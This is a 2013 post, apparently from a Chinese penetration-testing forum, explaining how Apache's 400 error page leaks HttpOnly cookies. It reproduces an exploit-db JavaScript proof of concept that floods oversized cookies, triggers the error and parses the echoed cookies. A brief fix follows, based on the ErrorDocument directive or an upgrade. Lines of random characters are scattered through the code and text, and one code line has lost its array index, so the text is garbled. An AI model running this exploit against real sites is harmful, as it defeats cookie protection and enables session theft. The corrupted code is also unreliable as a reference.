中国网络渗透测试联盟
标题:
Apache HttpOnly Cookie XSS跨站漏洞
[打印本页]
作者:
admin
时间:
2013-4-19 19:15
标题:
Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
- `: Z. p5 a7 d" G
! l. U2 @& @5 v' k( a% M' ^
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
0 x, b# \& o, {0 W- W
1 w" Z8 o- e9 A9 O) q$ v7 X) w
, r0 y% D8 F" b& e1 Z7 L
//
http://www.exploit-db.com/exploits/18442/
g7 w* t; q8 {' F
function setCookies (good) {
% m, `. V( C( q4 S
// Construct string for cookie value
# s {( R. q3 k& k* G) k
var str = "";
/ V4 }! s, x* }8 M+ B
for (var i=0; i< 819; i++) {
6 s7 ]" E' p; ?; V6 ]
str += "x";
) `! o/ w( h, @" g/ P# O
}
- V. G) K; r/ ^
// Set cookies
7 l& J& n* G' v2 L. N1 M8 b% u
for (i = 0; i < 10; i++) {
6 }, M8 \: T( t% R; G( G5 o x
// Expire evil cookie
; u( ~9 V* u. w7 [
if (good) {
, ~& `4 V5 R' L6 \
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
6 o+ `8 S7 H. ^! }" D% d4 C
}
6 ?2 t, [* y, J) n9 O. r
// Set evil cookie
3 Y3 p) |/ s& ?& B5 G, }- I
else {
, x6 l9 b* ^8 u+ i' \2 z9 p9 a& C+ d
var cookie = "xss"+i+"="+str+";path=/";
' _9 r+ Q, I3 w9 m& B% ~
}
8 s, v$ D* K" {- D
document.cookie = cookie;
5 G+ P0 B$ C: l3 ~+ J( r5 g
}
: Y D4 I0 m! s* y$ [$ L% F
}
$ N6 N9 k- B. L1 a$ ?# G7 g
function makeRequest() {
6 `( e& G3 v3 C) q, k( Q
setCookies();
7 S8 M5 j2 K( \- l% m
function parseCookies () {
: u6 |6 e$ E" o& R) H( H: g
var cookie_dict = {};
/ p0 A5 U& Q+ g. V8 L+ Q4 f" {
// Only react on 400 status
% `+ s4 _4 l; v' |* x6 I
if (xhr.readyState === 4 && xhr.status === 400) {
8 a% L, w1 s; `, s& t
// Replace newlines and match <pre> content
( c6 K2 h1 a0 H. V( q
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
: `6 ]% _* O& z" R% o6 N, ^
if (content.length) {
[' T2 e' B+ g+ X: P# w
// Remove Cookie: prefix
: t" P9 s3 T7 W/ S' h2 p
content = content[1].replace("Cookie: ", "");
- l& d* }7 u c
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
7 D$ } V9 i; Y$ G/ u+ Q
// Add cookies to object
/ {1 L& Y9 P' h% Z
for (var i=0; i<cookies.length; i++) {
# t5 Y/ L+ M1 I& ^3 a
var s_c = cookies
.split('=',2);
2 X% i {# f+ r# P4 }. n
cookie_dict[s_c[0]] = s_c[1];
- t8 V$ f7 c" |; j) o0 K& ~
}
3 H Q( ?# b% _& E5 v' }* }
}
0 D& [3 C' T6 U- o6 q
// Unset malicious cookies
8 O- b2 K8 O9 R7 F5 a6 f* j
setCookies(true);
: X, @8 Z2 z" |
alert(JSON.stringify(cookie_dict));
# G1 d) k! J6 S8 d, k, [% T7 W
}
* @! _8 |" c3 d9 Q5 F* {7 n
}
7 [7 V* f! S- Y% M
// Make XHR request
! F ]6 S! P* S6 ~
var xhr = new XMLHttpRequest();
" i/ W4 q" U" H; q1 ~; j$ p+ F
xhr.onreadystatechange = parseCookies;
2 u: [1 T, G5 r3 _/ ^6 \' O
xhr.open("GET", "/", true);
1 l2 L6 H3 ?( C/ x+ G m
xhr.send(null);
' ^" W* j0 T! r) o3 F# n6 |0 ?
}
/ A6 S- S$ ^1 J; a% L8 s
makeRequest();
$ F' a& `* [$ L( p! g- L
2 @9 X; B4 T8 T3 x
你就能看见华丽丽的400错误包含着cookie信息。
* J0 |( r/ n0 h
6 x0 `4 H9 B! b% G* a! e7 j
下载地址:
https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
[; n, L- _3 d2 m3 _# f! U
, F) P9 ~+ Q0 l: {4 `' F
修复方案:
: g' h1 z: _+ G
: Z2 K N2 L7 L8 ]
Apache官方提供4种错误处理方式(
http://httpd.apache.org/docs/2.0/mod/core.html#errordocument
),如下
* s+ M; T( ]! J% {! W
4 ]$ d. u% l5 x+ P- ~% L
In the event of a problem or error, Apachecan be configured to do one of four things,
5 _- K, F8 J; r# n' i1 K: i
/ K1 b& g5 |3 I
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
4 i! o0 M0 e3 k0 Y
2. output acustomized message输出一段信息
' p0 _9 P" R8 Q. w$ E
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
# W7 U2 O, p7 n" b% x# ]" \6 R k' H: o
4. redirect to an external URL to handle theproblem/error转向一个外部URL
9 m" U- W q4 C& A' O! @, ]
, ~# F# J% X* e; i$ ^9 H& m3 n
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
+ ?. {& p! |7 f- S. G: s
( `4 w. ^: v( s; O, X
Apache配置:
4 b' Q' ?( w, g4 F/ W+ B9 i" ~. {& ]2 b
) m8 ~4 t! h' W2 g& U; F+ t2 V5 j
ErrorDocument400 " security test"
3 e; ~ b1 `! R+ M, _) T6 t) D9 ?
" b& w, q- m# K5 p8 W8 ]. Q/ F& i
当然,升级apache到最新也可:)。
( h" r7 w# V) q9 r' U5 x2 U& T- p
$ ]- p) D7 q) t! H4 r/ a( P8 j
参考:
http://httpd.apache.org/security/vulnerabilities_22.html
1 j$ H) w/ }2 o: `5 [: W' c
, z( u9 F; \" b, p( A! A6 p
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2